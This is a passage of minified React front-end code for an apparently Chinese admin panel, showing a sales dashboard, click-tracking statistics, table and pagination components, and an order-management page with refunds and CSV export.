V=Y;if((V==null?void 0:V.status)===401)T("登录已过期,请重新登录");else{if((V==null?void 0:V.name)==="AbortError")return;T("加载失败,请检查网络或联系管理员")}};async function B(Y){const V=Y?{signal:Y}:void 0;n(!0),T(null);try{const ce=await De("/api/admin/dashboard/stats",V);ce!=null&&ce.success&&(g(ce.totalUsers??0),N(ce.paidOrderCount??0),v(ce.totalRevenue??0),C(ce.conversionRate??0))}catch(ce){if((ce==null?void 0:ce.name)!=="AbortError"){console.error("stats 失败,尝试 overview 降级",ce);try{const ye=await De("/api/admin/dashboard/overview",V);ye!=null&&ye.success&&(g(ye.totalUsers??0),N(ye.paidOrderCount??0),v(ye.totalRevenue??0),C(ye.conversionRate??0))}catch(ye){q(ye)}}}finally{n(!1)}try{const ce=await De("/api/admin/balance/summary",V);ce!=null&&ce.success&&ce.data&&z(ce.data.totalGifted??0)}catch{}a(!0),o(!0);const re=async()=>{try{const ce=await De("/api/admin/dashboard/recent-orders?limit=10",V);if(ce!=null&&ce.success&&ce.recentOrders)f(ce.recentOrders);else throw new Error("no data")}catch(ce){if((ce==null?void 0:ce.name)!=="AbortError")try{const ye=await De("/api/admin/orders?page=1&pageSize=20&status=paid",V),Le=((ye==null?void 0:ye.orders)??[]).filter(lt=>["paid","completed","success"].includes(lt.status||""));f(Le.slice(0,5))}catch{f([])}}finally{a(!1)}},ue=async()=>{try{const ce=await De("/api/admin/dashboard/new-users",V);if(ce!=null&&ce.success&&ce.newUsers)u(ce.newUsers);else throw new Error("no data")}catch(ce){if((ce==null?void 0:ce.name)!=="AbortError")try{const ye=await De("/api/db/users?page=1&pageSize=10",V);u((ye==null?void 0:ye.users)??[])}catch{u([])}}finally{o(!1)}};await Promise.all([re(),ue()])}async function _(Y){const V=Y||fe;P(!0);try{const re=await De(`/api/admin/track/stats?period=${V}`);re!=null&&re.success&&H({total:re.total??0,byModule:re.byModule??{}})}catch{H(null)}finally{P(!1)}}b.useEffect(()=>{const Y=new AbortController;B(Y.signal),_();const V=setInterval(()=>{B(),_()},3e4);return()=>{Y.abort(),clearInterval(V)}},[]);const W=m,le=Y=>{const V=Y.productType||"",re=Y.description||"";if(V==="balance_recharge")return{title:`余额充值 ¥${typeof Y.amount=="number"?Y.amount.toFixed(2):parseFloat(String(Y.amount||"0")).toFixed(2)}`,subtitle:"余额充值"};if(V==="gift_pay")return{title:`代付 ¥${typeof Y.amount=="number"?Y.amount.toFixed(2):parseFloat(String(Y.amount||"0")).toFixed(2)}`,subtitle:"好友代付"};if(V==="gift_pay_batch"){const ue=typeof Y.amount=="number"?Y.amount.toFixed(2):parseFloat(String(Y.amount||"0")).toFixed(2);return{title:re||`代付分享 ¥${ue}`,subtitle:"代付分享"}}if(V==="section"&&re.includes("代付领取"))return{title:re.replace("代付领取 - ",""),subtitle:"代付领取"};if(re){if(V==="section"&&re.includes("章节")){if(re.includes("-")){const ue=re.split("-");if(ue.length>=3)return{title:`第${ue[1]}章 第${ue[2]}节`,subtitle:"《一场Soul的创业实验》"}}return{title:re,subtitle:"章节购买"}}return V==="fullbook"||re.includes("全书")?{title:"《一场Soul的创业实验》",subtitle:"全书购买"}:V==="vip"||re.includes("VIP")?{title:"超级个体开通费用",subtitle:"超级个体"}:V==="match"||re.includes("伙伴")?{title:"找伙伴匹配",subtitle:"功能服务"}:{title:re,subtitle:V==="section"?"单章":V==="fullbook"?"全书":"其他"}}return V==="section"?{title:`章节 ${Y.productId||""}`,subtitle:"单章购买"}:V==="fullbook"?{title:"《一场Soul的创业实验》",subtitle:"全书购买"}:V==="vip"?{title:"超级个体开通费用",subtitle:"超级个体"}:V==="match"?{title:"找伙伴匹配",subtitle:"功能服务"}:{title:"未知商品",subtitle:V||"其他"}},J=[{title:"总用户数",value:e?null:W,sub:null,icon:Zn,color:"text-blue-400",bg:"bg-blue-500/20",link:"/users"},{title:"总收入",value:e?null:`¥${(w??0).toFixed(2)}`,sub:D>0?`含代付 ¥${D.toFixed(2)}`:null,icon:$c,color:"text-[#38bdac]",bg:"bg-[#38bdac]/20",link:"/orders"},{title:"订单数",value:e?null:y,sub:null,icon:Og,color:"text-purple-400",bg:"bg-purple-500/20",link:"/orders"},{title:"转化率",value:e?null:`${typeof k=="number"?k.toFixed(1):0}%`,sub:null,icon:Br,color:"text-orange-400",bg:"bg-orange-500/20",link:"/distribution"}];return s.jsxs("div",{className:"p-8 w-full",children:[s.jsx("h1",{className:"text-2xl font-bold mb-8 text-white",children:"数据概览"}),E&&s.jsxs("div",{className:"mb-6 px-4 py-3 rounded-lg bg-amber-500/20 border border-amber-500/50 text-amber-200 text-sm flex items-center justify-between",children:[s.jsx("span",{children:E}),s.jsx("button",{type:"button",onClick:()=>B(),className:"text-amber-400 hover:text-amber-300 underline",children:"重试"})]}),s.jsx("div",{className:"grid grid-cols-1 md:grid-cols-2 lg:grid-cols-4 gap-6 mb-8",children:J.map((Y,V)=>s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl cursor-pointer hover:border-[#38bdac]/50 transition-colors group",onClick:()=>Y.link&&t(Y.link),children:[s.jsxs(Ye,{className:"flex flex-row items-center justify-between pb-2",children:[s.jsx(Qe,{className:"text-sm font-medium text-gray-400",children:Y.title}),s.jsx("div",{className:`p-2 rounded-lg ${Y.bg}`,children:s.jsx(Y.icon,{className:`w-4 h-4 ${Y.color}`})})]}),s.jsx(Ee,{children:s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsxs("div",{children:[s.jsx("div",{className:"text-2xl font-bold text-white min-h-8 flex items-center",children:Y.value!=null?Y.value:s.jsxs("span",{className:"inline-flex items-center gap-2 text-gray-500",children:[s.jsx(qe,{className:"w-4 h-4 animate-spin"}),"加载中"]})}),Y.sub&&s.jsx("p",{className:"text-xs text-gray-500 mt-1",children:Y.sub})]}),s.jsx(pl,{className:"w-5 h-5 text-gray-600 group-hover:text-[#38bdac] transition-colors"})]})})]},V))}),s.jsxs("div",{className:"grid grid-cols-1 lg:grid-cols-2 gap-8",children:[s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{className:"flex flex-row items-center justify-between",children:[s.jsx(Qe,{className:"text-white",children:"最近订单"}),s.jsxs("button",{type:"button",onClick:()=>B(),disabled:r||i,className:"text-xs text-gray-400 hover:text-[#38bdac] flex items-center gap-1 disabled:opacity-50",title:"刷新",children:[r||i?s.jsx(qe,{className:"w-3.5 h-3.5 animate-spin"}):s.jsx(qe,{className:"w-3.5 h-3.5"}),"刷新(每 30 秒自动更新)"]})]}),s.jsx(Ee,{children:s.jsx("div",{className:"space-y-3",children:r&&h.length===0?s.jsxs("div",{className:"flex flex-col items-center justify-center py-12 text-gray-500",children:[s.jsx(qe,{className:"w-8 h-8 animate-spin mb-2"}),s.jsx("span",{className:"text-sm",children:"加载中..."})]}):s.jsxs(s.Fragment,{children:[h.slice(0,Z?10:4).map(Y=>{var ye;const V=Y.referrerId?c.find(Re=>Re.id===Y.referrerId):void 0,re=Y.referralCode||(V==null?void 0:V.referralCode)||(V==null?void 0:V.nickname)||(Y.referrerId?String(Y.referrerId).slice(0,8):""),ue=le(Y),ce=Y.userNickname||((ye=c.find(Re=>Re.id===Y.userId))==null?void 0:ye.nickname)||"匿名用户";return s.jsxs("div",{className:"flex items-start justify-between p-4 bg-[#0a1628] rounded-lg border border-gray-700/30 hover:border-[#38bdac]/30 transition-colors",children:[s.jsxs("div",{className:"flex items-start gap-3 flex-1",children:[Y.userAvatar?s.jsx("img",{src:Y.userAvatar,alt:ce,className:"w-9 h-9 rounded-full object-cover flex-shrink-0 mt-0.5",onError:Re=>{Re.currentTarget.style.display="none";const Le=Re.currentTarget.nextElementSibling;Le&&Le.classList.remove("hidden")}}):null,s.jsx("div",{className:`w-9 h-9 rounded-full bg-[#38bdac]/20 flex items-center justify-center text-sm font-medium text-[#38bdac] flex-shrink-0 mt-0.5 ${Y.userAvatar?"hidden":""}`,children:ce.charAt(0)}),s.jsxs("div",{className:"flex-1 min-w-0",children:[s.jsxs("div",{className:"flex items-center gap-2 mb-1",children:[s.jsx("button",{type:"button",onClick:()=>{Y.userId&&(O(Y.userId),R(!0))},className:"text-sm text-[#38bdac] hover:text-[#2da396] hover:underline text-left",children:ce}),s.jsx("span",{className:"text-gray-600",children:"·"}),s.jsx("span",{className:"text-sm font-medium text-white truncate",children:ue.title})]}),s.jsxs("div",{className:"flex items-center gap-2 text-xs text-gray-500",children:[ue.subtitle&&ue.subtitle!=="章节购买"&&s.jsx("span",{className:"px-1.5 py-0.5 bg-gray-700/50 rounded",children:ue.subtitle}),s.jsx("span",{children:new Date(Y.createdAt||0).toLocaleString("zh-CN",{month:"2-digit",day:"2-digit",hour:"2-digit",minute:"2-digit"})})]}),re&&s.jsxs("p",{className:"text-xs text-gray-600 mt-1",children:["推荐: ",re]})]})]}),s.jsxs("div",{className:"text-right ml-4 flex-shrink-0",children:[s.jsxs("p",{className:"text-sm font-bold text-[#38bdac]",children:["+¥",Number(Y.amount).toFixed(2)]}),s.jsx("p",{className:"text-xs text-gray-500 mt-0.5",children:Y.paymentMethod||"微信"})]})]},Y.id)}),h.length>4&&!Z&&s.jsx("button",{type:"button",onClick:()=>ne(!0),className:"w-full py-2 text-sm text-[#38bdac] hover:text-[#2da396] border border-dashed border-gray-600 rounded-lg hover:border-[#38bdac]/50 transition-colors",children:"展开更多"}),h.length===0&&!r&&s.jsxs("div",{className:"text-center py-12",children:[s.jsx(Og,{className:"w-12 h-12 text-gray-600 mx-auto mb-3"}),s.jsx("p",{className:"text-gray-500",children:"暂无订单数据"})]})]})})})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsx(Ye,{children:s.jsx(Qe,{className:"text-white",children:"新注册用户"})}),s.jsx(Ee,{children:s.jsx("div",{className:"space-y-3",children:i&&c.length===0?s.jsxs("div",{className:"flex flex-col items-center justify-center py-12 text-gray-500",children:[s.jsx(qe,{className:"w-8 h-8 animate-spin mb-2"}),s.jsx("span",{className:"text-sm",children:"加载中..."})]}):s.jsxs(s.Fragment,{children:[c.slice(0,5).map(Y=>{var V;return s.jsxs("div",{className:"flex items-center justify-between p-4 bg-[#0a1628] rounded-lg border border-gray-700/30",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("div",{className:"w-10 h-10 rounded-full bg-[#38bdac]/20 flex items-center justify-center text-sm font-medium text-[#38bdac]",children:((V=Y.nickname)==null?void 0:V.charAt(0))||"?"}),s.jsxs("div",{children:[s.jsx("button",{type:"button",onClick:()=>{O(Y.id),R(!0)},className:"text-sm font-medium text-[#38bdac] hover:text-[#2da396] hover:underline text-left",children:Y.nickname||"匿名用户"}),s.jsx("p",{className:"text-xs text-gray-500",children:Y.phone||"-"})]})]}),s.jsx("p",{className:"text-xs text-gray-400",children:Y.createdAt?new Date(Y.createdAt).toLocaleDateString():"-"})]},Y.id)}),c.length===0&&!i&&s.jsx("p",{className:"text-gray-500 text-center py-8",children:"暂无用户数据"})]})})})]})]}),s.jsxs(Ce,{className:"mt-8 bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{className:"flex flex-row items-center justify-between",children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(Tg,{className:"w-5 h-5 text-[#38bdac]"}),"分类标签点击统计"]}),s.jsx("div",{className:"flex items-center gap-2",children:["today","week","month","all"].map(Y=>s.jsx("button",{type:"button",onClick:()=>{xe(Y),_(Y)},className:`px-3 py-1 text-xs rounded-full transition-colors ${fe===Y?"bg-[#38bdac] text-white":"bg-gray-700/50 text-gray-400 hover:bg-gray-700"}`,children:{today:"今日",week:"本周",month:"本月",all:"全部"}[Y]},Y))})]}),s.jsx(Ee,{children:oe&&!$?s.jsxs("div",{className:"flex items-center justify-center py-12 text-gray-500",children:[s.jsx(qe,{className:"w-6 h-6 animate-spin mr-2"}),s.jsx("span",{children:"加载中..."})]}):$&&Object.keys($.byModule).length>0?s.jsxs("div",{className:"space-y-6",children:[s.jsxs("p",{className:"text-sm text-gray-400",children:["总点击 ",s.jsx("span",{className:"text-white font-bold text-lg",children:$.total})," 次"]}),s.jsx("div",{className:"grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 gap-4",children:Object.entries($.byModule).sort((Y,V)=>V[1].reduce((re,ue)=>re+ue.count,0)-Y[1].reduce((re,ue)=>re+ue.count,0)).map(([Y,V])=>{const re=V.reduce((ce,ye)=>ce+ye.count,0),ue={home:"首页",chapters:"目录",read:"阅读",my:"我的",vip:"VIP",wallet:"钱包",match:"找伙伴",referral:"推广",search:"搜索",settings:"设置",about:"关于",other:"其他"};return s.jsxs("div",{className:"bg-[#0a1628] rounded-lg border border-gray-700/30 p-4",children:[s.jsxs("div",{className:"flex items-center justify-between mb-3",children:[s.jsx("span",{className:"text-sm font-medium text-[#38bdac]",children:ue[Y]||Y}),s.jsxs("span",{className:"text-xs text-gray-500",children:[re," 次"]})]}),s.jsx("div",{className:"space-y-2",children:V.sort((ce,ye)=>ye.count-ce.count).slice(0,8).map((ce,ye)=>{const Re={开始匹配:"开始匹配",mentor:"导师顾问",team:"团队招募",investor:"资源对接",充值:"充值",退款:"退款",wallet:"钱包",设置:"设置",VIP:"VIP会员",推广:"推广中心",目录:"目录",搜索:"搜索",匹配:"找伙伴",settings:"设置",expired:"已过期",active:"活跃",converted:"已转化",fill_profile:"完善资料",register:"注册",purchase:"购买",btn_click:"按钮点击",nav_click:"导航点击",card_click:"卡片点击",tab_click:"标签切换",rule_trigger:"规则触发",view_chapter:"浏览章节",链接卡若:"链接卡若",更多分享:"更多分享",分享朋友圈文案:"分享朋友圈",选择金额10:"选择金额10元"},Le={btn_click:"按钮点击",nav_click:"导航点击",card_click:"卡片点击",tab_click:"标签切换",purchase:"购买",register:"注册",rule_trigger:"规则触发",view_chapter:"浏览章节"},lt=Re[ce.target]||ce.target||Le[ce.action]||ce.action;return s.jsxs("div",{className:"flex items-center justify-between text-xs",children:[s.jsx("span",{className:"text-gray-300 truncate mr-2",title:`${ce.action}: ${ce.target}`,children:lt}),s.jsxs("div",{className:"flex items-center gap-2 shrink-0",children:[s.jsx("div",{className:"w-16 h-1.5 bg-gray-700 rounded-full overflow-hidden",children:s.jsx("div",{className:"h-full bg-[#38bdac] rounded-full",style:{width:`${re>0?ce.count/re*100:0}%`}})}),s.jsx("span",{className:"text-gray-400 w-8 text-right",children:ce.count})]})]},ye)})})]},Y)})})]}):s.jsxs("div",{className:"text-center py-12",children:[s.jsx(Tg,{className:"w-12 h-12 text-gray-600 mx-auto mb-3"}),s.jsx("p",{className:"text-gray-500",children:"暂无点击数据"}),s.jsx("p",{className:"text-gray-600 text-xs mt-1",children:"小程序端接入埋点后,数据将在此实时展示"})]})})]}),s.jsx(n0,{open:L,onClose:()=>{R(!1),O(null)},userId:I,onUserUpdated:()=>B()})]})}const lr=b.forwardRef(({className:t,...e},n)=>s.jsx("div",{className:"relative w-full overflow-auto",children:s.jsx("table",{ref:n,className:Et("w-full caption-bottom text-sm",t),...e})}));lr.displayName="Table";const cr=b.forwardRef(({className:t,...e},n)=>s.jsx("thead",{ref:n,className:Et("[&_tr]:border-b",t),...e}));cr.displayName="TableHeader";const dr=b.forwardRef(({className:t,...e},n)=>s.jsx("tbody",{ref:n,className:Et("[&_tr:last-child]:border-0",t),...e}));dr.displayName="TableBody";const it=b.forwardRef(({className:t,...e},n)=>s.jsx("tr",{ref:n,className:Et("border-b transition-colors hover:bg-muted/50 data-[state=selected]:bg-muted",t),...e}));it.displayName="TableRow";const ke=b.forwardRef(({className:t,...e},n)=>s.jsx("th",{ref:n,className:Et("h-12 px-4 text-left align-middle font-medium text-muted-foreground [&:has([role=checkbox])]:pr-0",t),...e}));ke.displayName="TableHead";const ve=b.forwardRef(({className:t,...e},n)=>s.jsx("td",{ref:n,className:Et("p-4 align-middle [&:has([role=checkbox])]:pr-0",t),...e}));ve.displayName="TableCell";function r0(t,e){const[n,r]=b.useState(t);return b.useEffect(()=>{const a=setTimeout(()=>r(t),e);return()=>clearTimeout(a)},[t,e]),n}function is({page:t,totalPages:e,total:n,pageSize:r,onPageChange:a,onPageSizeChange:i,pageSizeOptions:o=[10,20,50,100]}){return e<=1&&!i?null:s.jsxs("div",{className:"flex items-center justify-between gap-4 py-4 px-5 border-t border-gray-700/50",children:[s.jsxs("div",{className:"flex items-center gap-2 text-sm text-gray-400",children:[s.jsxs("span",{children:["共 ",n," 条"]}),i&&s.jsx("select",{value:r,onChange:c=>i(Number(c.target.value)),className:"bg-[#0f2137] border border-gray-600 rounded px-2 py-1 text-gray-300 text-sm",children:o.map(c=>s.jsxs("option",{value:c,children:[c," 条/页"]},c))})]}),e>1&&s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("button",{type:"button",onClick:()=>a(1),disabled:t<=1,className:"px-2 py-1 rounded border border-gray-600 text-gray-400 hover:bg-gray-700/50 disabled:opacity-40 text-sm",children:"首页"}),s.jsx("button",{type:"button",onClick:()=>a(t-1),disabled:t<=1,className:"px-3 py-1 rounded border border-gray-600 text-gray-400 hover:bg-gray-700/50 disabled:opacity-40 text-sm",children:"上一页"}),s.jsxs("span",{className:"px-3 py-1 text-gray-400 text-sm",children:[t," / ",e]}),s.jsx("button",{type:"button",onClick:()=>a(t+1),disabled:t>=e,className:"px-3 py-1 rounded border border-gray-600 text-gray-400 hover:bg-gray-700/50 disabled:opacity-40 text-sm",children:"下一页"}),s.jsx("button",{type:"button",onClick:()=>a(e),disabled:t>=e,className:"px-2 py-1 rounded border border-gray-600 text-gray-400 hover:bg-gray-700/50 disabled:opacity-40 text-sm",children:"末页"})]})]})}function fP(){const[t,e]=b.useState([]),[n,r]=b.useState([]),[a,i]=b.useState(0),[o,c]=b.useState(0),[u,h]=b.useState(0),[f,m]=b.useState(1),[g,y]=b.useState(10),[N,w]=b.useState(""),v=r0(N,300),[k,C]=b.useState("all"),[E,T]=b.useState(!0),[I,O]=b.useState(null),[L,R]=b.useState(null),[D,z]=b.useState(""),[Z,ne]=b.useState(!1);async function fe(){T(!0),O(null);try{const B=k==="all"?"":k==="completed"?"completed":k,_=new URLSearchParams({page:String(f),pageSize:String(g),...B&&{status:B},...v&&{search:v}}),[W,le]=await Promise.all([De(`/api/admin/orders?${_}`),De("/api/db/users?page=1&pageSize=500")]);W!=null&&W.success&&(e(W.orders||[]),i(W.total??0),c(W.totalRevenue??0),h(W.todayRevenue??0)),le!=null&&le.success&&le.users&&r(le.users)}catch(B){console.error("加载订单失败",B),O("加载订单失败,请检查网络后重试")}finally{T(!1)}}b.useEffect(()=>{m(1)},[v,k]),b.useEffect(()=>{fe()},[f,g,v,k]);const xe=B=>{var _;return B.userNickname||((_=n.find(W=>W.id===B.userId))==null?void 0:_.nickname)||"匿名用户"},$=B=>{var _;return((_=n.find(W=>W.id===B))==null?void 0:_.phone)||"-"},H=B=>{const _=B.productType||B.type||"",W=B.description||"";if(_==="balance_recharge")return{name:`余额充值 ¥${Number(B.amount||0).toFixed(2)}`,type:"余额充值"};if(W){if(_==="section"&&(W.includes("章节")||W.includes("代付领取"))){if(W.includes("代付领取"))return{name:W.replace("代付领取 - ",""),type:"代付领取"};if(W.includes("-")){const le=W.split("-");if(le.length>=3)return{name:`第${le[1]}章 第${le[2]}节`,type:"《一场Soul的创业实验》"}}return{name:W,type:"章节购买"}}return _==="fullbook"||W.includes("全书")?{name:"《一场Soul的创业实验》",type:"全书购买"}:_==="vip"||W.includes("VIP")?{name:"超级个体开通费用",type:"超级个体"}:_==="match"||W.includes("伙伴")?{name:"找伙伴匹配",type:"功能服务"}:{name:W,type:"其他"}}return _==="section"?{name:`章节 ${B.productId||B.sectionId||""}`,type:"单章"}:_==="fullbook"?{name:"《一场Soul的创业实验》",type:"全书"}:_==="vip"?{name:"超级个体开通费用",type:"超级个体"}:_==="match"?{name:"找伙伴匹配",type:"功能"}:{name:"未知商品",type:_||"其他"}},oe=Math.ceil(a/g)||1;async function P(){var B;if(!(!(L!=null&&L.orderSn)&&!(L!=null&&L.id))){ne(!0),O(null);try{const _=await zt("/api/admin/orders/refund",{orderSn:L.orderSn||L.id,reason:D||void 0});_!=null&&_.success?(R(null),z(""),fe()):O((_==null?void 0:_.error)||"退款失败")}catch(_){const W=_;O(((B=W==null?void 0:W.data)==null?void 0:B.error)||"退款失败,请检查网络后重试")}finally{ne(!1)}}}function q(){if(t.length===0){ie.info("暂无数据可导出");return}const B=["订单号","用户","手机号","商品","金额","支付方式","状态","退款原因","分销佣金","下单时间"],_=t.map(V=>{const re=H(V);return[V.orderSn||V.id||"",xe(V),$(V.userId),re.name,Number(V.amount||0).toFixed(2),V.paymentMethod==="wechat"?"微信支付":V.paymentMethod==="balance"?"余额支付":V.paymentMethod==="alipay"?"支付宝":V.paymentMethod||"微信支付",V.status==="refunded"?"已退款":V.status==="paid"||V.status==="completed"?"已完成":V.status==="pending"||V.status==="created"?"待支付":"已失败",V.status==="refunded"&&V.refundReason?V.refundReason:"-",V.referrerEarnings?Number(V.referrerEarnings).toFixed(2):"-",V.createdAt?new Date(V.createdAt).toLocaleString("zh-CN"):""].join(",")}),W="\uFEFF"+[B.join(","),..._].join(` +`),le=new Blob([W],{type:"text/csv;charset=utf-8"}),J=URL.createObjectURL(le),Y=document.createElement("a");Y.href=J,Y.download=`订单列表_${new Date().toISOString().slice(0,10)}.csv`,Y.click(),URL.revokeObjectURL(J)}return s.jsxs("div",{className:"p-8 w-full",children:[I&&s.jsxs("div",{className:"mb-4 px-4 py-3 rounded-lg bg-red-500/20 border border-red-500/50 text-red-400 text-sm flex items-center justify-between",children:[s.jsx("span",{children:I}),s.jsx("button",{type:"button",onClick:()=>O(null),className:"hover:text-red-300",children:"×"})]}),s.jsxs("div",{className:"flex justify-between items-center mb-8",children:[s.jsxs("div",{children:[s.jsx("h2",{className:"text-2xl font-bold text-white",children:"订单管理"}),s.jsxs("p",{className:"text-gray-400 mt-1",children:["共 ",t.length," 笔订单"]})]}),s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsxs(te,{variant:"outline",onClick:fe,disabled:E,className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(qe,{className:`w-4 h-4 mr-2 ${E?"animate-spin":""}`}),"刷新"]}),s.jsxs("div",{className:"flex items-center gap-2 text-sm",children:[s.jsx("span",{className:"text-gray-400",children:"总收入:"}),s.jsxs("span",{className:"text-[#38bdac] font-bold",children:["¥",o.toFixed(2)]}),s.jsx("span",{className:"text-gray-600",children:"|"}),s.jsx("span",{className:"text-gray-400",children:"今日:"}),s.jsxs("span",{className:"text-[#FFD700] font-bold",children:["¥",u.toFixed(2)]})]})]})]}),s.jsxs("div",{className:"flex items-center gap-4 mb-6",children:[s.jsxs("div",{className:"relative flex-1 max-w-md",children:[s.jsx(Na,{className:"absolute left-3 top-1/2 -translate-y-1/2 w-4 h-4 text-gray-500"}),s.jsx(se,{type:"text",placeholder:"搜索订单号/用户/章节...",className:"pl-10 bg-[#0f2137] border-gray-700 text-white placeholder:text-gray-500",value:N,onChange:B=>w(B.target.value)})]}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx(Qw,{className:"w-4 h-4 text-gray-400"}),s.jsxs("select",{value:k,onChange:B=>C(B.target.value),className:"bg-[#0f2137] border border-gray-700 text-white rounded-lg px-3 py-2 text-sm",children:[s.jsx("option",{value:"all",children:"全部状态"}),s.jsx("option",{value:"completed",children:"已完成"}),s.jsx("option",{value:"pending",children:"待支付"}),s.jsx("option",{value:"created",children:"已创建"}),s.jsx("option",{value:"failed",children:"已失败"}),s.jsx("option",{value:"refunded",children:"已退款"})]})]}),s.jsxs(te,{variant:"outline",onClick:q,disabled:t.length===0,className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(pM,{className:"w-4 h-4 mr-2"}),"导出 CSV"]})]}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:s.jsx(Ee,{className:"p-0",children:E?s.jsxs("div",{className:"flex items-center justify-center py-12",children:[s.jsx(qe,{className:"w-6 h-6 text-[#38bdac] animate-spin"}),s.jsx("span",{className:"ml-2 text-gray-400",children:"加载中..."})]}):s.jsxs("div",{children:[s.jsxs(lr,{children:[s.jsx(cr,{children:s.jsxs(it,{className:"bg-[#0a1628] hover:bg-[#0a1628] border-gray-700",children:[s.jsx(ke,{className:"text-gray-400",children:"订单号"}),s.jsx(ke,{className:"text-gray-400",children:"用户"}),s.jsx(ke,{className:"text-gray-400",children:"商品"}),s.jsx(ke,{className:"text-gray-400",children:"金额"}),s.jsx(ke,{className:"text-gray-400",children:"支付方式"}),s.jsx(ke,{className:"text-gray-400",children:"状态"}),s.jsx(ke,{className:"text-gray-400",children:"退款原因"}),s.jsx(ke,{className:"text-gray-400",children:"分销佣金"}),s.jsx(ke,{className:"text-gray-400",children:"下单时间"}),s.jsx(ke,{className:"text-gray-400",children:"操作"})]})}),s.jsxs(dr,{children:[t.map(B=>{const _=H(B);return s.jsxs(it,{className:"hover:bg-[#0a1628] border-gray-700/50",children:[s.jsxs(ve,{className:"font-mono text-xs text-gray-400",children:[(B.orderSn||B.id||"").slice(0,12),"..."]}),s.jsx(ve,{children:s.jsxs("div",{children:[s.jsxs("p",{className:"text-white text-sm flex items-center gap-2",children:[xe(B),B.paymentMethod==="gift_pay"&&s.jsx(We,{className:"bg-emerald-500/20 text-emerald-400 hover:bg-emerald-500/20 border-0 text-xs",children:"代付领取"}),B.payerUserId&&B.paymentMethod!=="gift_pay"&&s.jsx(We,{className:"bg-amber-500/20 text-amber-400 hover:bg-amber-500/20 border-0 text-xs",children:"代付"})]}),s.jsx("p",{className:"text-gray-500 text-xs",children:$(B.userId)}),B.payerUserId&&B.payerNickname&&s.jsxs("p",{className:"text-amber-400/80 text-xs mt-0.5",children:[B.paymentMethod==="gift_pay"?"赠送人:":"代付人:",B.payerNickname]})]})}),s.jsx(ve,{children:s.jsxs("div",{children:[s.jsxs("p",{className:"text-white text-sm flex items-center gap-2",children:[_.name,(B.productType||B.type)==="vip"&&s.jsx(We,{className:"bg-amber-500/20 text-amber-400 hover:bg-amber-500/20 border-0 text-xs",children:"超级个体"})]}),s.jsx("p",{className:"text-gray-500 text-xs",children:_.type})]})}),s.jsxs(ve,{className:"text-[#38bdac] font-bold",children:["¥",Number(B.amount||0).toFixed(2)]}),s.jsx(ve,{className:"text-gray-300",children:B.paymentMethod==="wechat"?"微信支付":B.paymentMethod==="balance"?"余额支付":B.paymentMethod==="alipay"?"支付宝":B.paymentMethod||"微信支付"}),s.jsx(ve,{children:B.status==="refunded"?s.jsx(We,{className:"bg-gray-500/20 text-gray-400 hover:bg-gray-500/20 border-0",children:"已退款"}):B.status==="paid"||B.status==="completed"?s.jsx(We,{className:"bg-green-500/20 text-green-400 hover:bg-green-500/20 border-0",children:"已完成"}):B.status==="pending"||B.status==="created"?s.jsx(We,{className:"bg-yellow-500/20 text-yellow-400 hover:bg-yellow-500/20 border-0",children:"待支付"}):s.jsx(We,{className:"bg-red-500/20 text-red-400 hover:bg-red-500/20 border-0",children:"已失败"})}),s.jsx(ve,{className:"text-gray-400 text-sm max-w-[120px] truncate",title:B.refundReason,children:B.status==="refunded"&&B.refundReason?B.refundReason:"-"}),s.jsx(ve,{className:"text-[#FFD700]",children:B.referrerEarnings?`¥${Number(B.referrerEarnings).toFixed(2)}`:"-"}),s.jsx(ve,{className:"text-gray-400 text-sm",children:new Date(B.createdAt).toLocaleString("zh-CN")}),s.jsx(ve,{children:(B.status==="paid"||B.status==="completed")&&B.paymentMethod!=="balance"&&s.jsxs(te,{variant:"outline",size:"sm",className:"border-orange-500/50 text-orange-400 hover:bg-orange-500/20",onClick:()=>{R(B),z("")},children:[s.jsx(rj,{className:"w-3 h-3 mr-1"}),"退款"]})})]},B.id)}),t.length===0&&s.jsx(it,{children:s.jsx(ve,{colSpan:10,className:"text-center py-12 text-gray-500",children:"暂无订单数据"})})]})]}),s.jsx(is,{page:f,totalPages:oe,total:a,pageSize:g,onPageChange:m,onPageSizeChange:B=>{y(B),m(1)}})]})})}),s.jsx(Dt,{open:!!L,onOpenChange:B=>!B&&R(null),children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-md",children:[s.jsx(Lt,{children:s.jsx(_t,{className:"text-white",children:"订单退款"})}),L&&s.jsxs("div",{className:"space-y-4",children:[s.jsxs("p",{className:"text-gray-400 text-sm",children:["订单号:",L.orderSn||L.id]}),s.jsxs("p",{className:"text-gray-400 text-sm",children:["退款金额:¥",Number(L.amount||0).toFixed(2)]}),s.jsxs("div",{children:[s.jsx("label",{className:"text-sm text-gray-400 block mb-2",children:"退款原因(选填)"}),s.jsx("div",{className:"form-input",children:s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white placeholder:text-gray-500",placeholder:"如:用户申请退款",value:D,onChange:B=>z(B.target.value)})})]}),s.jsx("p",{className:"text-orange-400/80 text-xs",children:"退款将原路退回至用户微信,且无法撤销,请确认后再操作。"})]}),s.jsxs(on,{children:[s.jsx(te,{variant:"outline",className:"border-gray-600 text-gray-300",onClick:()=>R(null),disabled:Z,children:"取消"}),s.jsx(te,{className:"bg-orange-500 hover:bg-orange-600 text-white",onClick:P,disabled:Z,children:Z?"退款中...":"确认退款"})]})]})})]})}const _l=b.forwardRef(({className:t,...e},n)=>s.jsx("textarea",{className:Et("flex min-h-[80px] w-full rounded-md border border-input bg-background px-3 py-2 text-sm placeholder:text-muted-foreground focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 disabled:cursor-not-allowed 